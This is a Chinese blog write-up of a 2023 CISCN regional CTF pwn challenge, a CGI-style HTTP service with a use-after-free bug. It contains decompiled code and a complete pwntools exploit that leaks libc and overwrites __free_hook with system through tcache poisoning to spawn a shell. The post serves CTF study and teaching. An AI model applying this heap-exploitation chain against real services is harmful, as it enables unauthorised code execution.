2023 ciscn 华东北分区赛 pwn cgi

2023 ciscn 华东北分区赛 pwn cgi

模拟了一个http协议的交互

uaf漏洞

unsigned __int64 __fastcall sub_2510(
        int a1,
        __int64 a2,
        int a3,
        int a4,
        int a5,
        int a6,
        __int64 a7,
        char *s,
        __int64 a9,
        __int64 a10)
{
  int v10; // ecx
  int v11; // r8d
  int v12; // r9d
  unsigned int index; // [rsp+Ch] [rbp-1014h]
  char nptr[8]; // [rsp+10h] [rbp-1010h] BYREF
  __int64 v16; // [rsp+18h] [rbp-1008h]
  __int64 v17[511]; // [rsp+20h] [rbp-1000h] BYREF
  unsigned __int64 v18; // [rsp+1018h] [rbp-8h]

  v18 = __readfsqword(0x28u);
  *(_QWORD *)nptr = 0LL;
  v16 = 0LL;
  memset(v17, 0, 0xFF0uLL);
  if ( !sub_1AEA("application/x-www-form-urlencoded", a2, (__int64)v17, 0LL, a5, a6, a7, (__int64)s, a9, a10) )
  {
    sub_1699(0x190u, "text/plain", "Bad Request");
  }
  else if ( (unsigned __int8)sub_1917((int)"id", (int)nptr, 4096, v10, v11, v12, a7, s) != 1 )
  {
    sub_1699(0x190u, "text/plain", "Bad Request");
  }
  else
  {
    index = atoi(nptr);
    if ( index < 0x20 && heap_ptr[index] )
    {
      free(*((void **)heap_ptr[index] + 5));
      free(heap_ptr[index]);                    // uaf
      sub_1699(0xC8u, "text/plain", "OK");
    }
    else
    {
      sub_1699(0x194u, "text/plain", "Not Found");
    }
  }
  return __readfsqword(0x28u) ^ v18;
}

输入格式样例:

		b'PUT /profile?id=1\r\n'
    b'Content-Type: application/x-www-form-urlencoded\r\n'
    b'Content-Type: application/x-www-form-urlencoded\r\n'
    b'\r\n'
    b'name=aaaa&password=bbbb&password_length=16'

自动化交互样例:

def add(index, name, password, size):
    p = b'PUT /profile'
    p += (b'?id=%d' % index) + rn
    p += b'Content-Type: application/x-www-form-urlencoded' + rn
    p += b'Content-Type: application/x-www-form-urlencoded' + rn + rn
    p += (b'name=%s' % name) + (b'&password=%s' % password) + (b'&password_length=%d' % size)
    r.send(p)

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './cgi'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

rn = b'\r\n'

def add(index, name, password, size):
    p = b'PUT /profile'
    p += (b'?id=%d' % index) + rn
    p += b'Content-Type: application/x-www-form-urlencoded' + rn
    p += b'Content-Type: application/x-www-form-urlencoded' + rn + rn
    p += (b'name=%s' % name) + (b'&password=%s' % password) + (b'&password_length=%d' % size)
    r.send(p)

def show(index):
    p = b'GET /profile'
    p += (b'?id=%d' % index) + rn
    p += b'Content-Type: application/x-www-form-urlencoded' + rn
    p += b'Content-Type: application/x-www-form-urlencoded' + rn + rn
    r.send(p)

def delete(index):
    p = b'DELETE /profile'
    p += (b'?id=%d' % index) + rn
    p += b'Content-Type: application/x-www-form-urlencoded' + rn
    p += b'Content-Type: application/x-www-form-urlencoded' + rn + rn
    r.send(p)

a = '\r\n'
def edit(index, name, password):
    p = 'POST /profile'
    p += '?id=' + str(index) + a
    p += 'Content-Type: application/x-www-form-urlencoded' + a
    p += 'Content-Type: application/x-www-form-urlencoded' + a + a
    p += 'name=' + name + '&password=' + password
    r.send(p)

dbgg()
add(0, b'a', b'b', 0x440)
add(1, b'a', b'b', 0x60)
add(2, b'a', b'b', 0x60)

delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

one = [0xe3afe, 0xe3b01, 0xe3b04]
#one_gadget = one[2] + libc_base
one_gadget = libc_base + libc.sym['system']
one_gadget = hex(one_gadget)[2:]
free_hook = hex(free_hook)[2:]

def magic(hook):
    hex_list = [hook[i:i+2] for i in range(0, len(hook), 2)]
    characters = [chr(int(h, 16)) for h in hex_list]
    final = ''
    for i in characters:
        final += i
    li(final)
    return final

delete(1)
delete(2)

final = magic(free_hook)
edit(2, final[::-1], final[::-1])

add(3, b'/bin/sh', b'/bin/sh', 0x60)
add(4, b'a', b'b', 0x60)

final = magic(one_gadget)
edit(4, final[::-1], final[::-1])

delete(3)


r.interactive()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值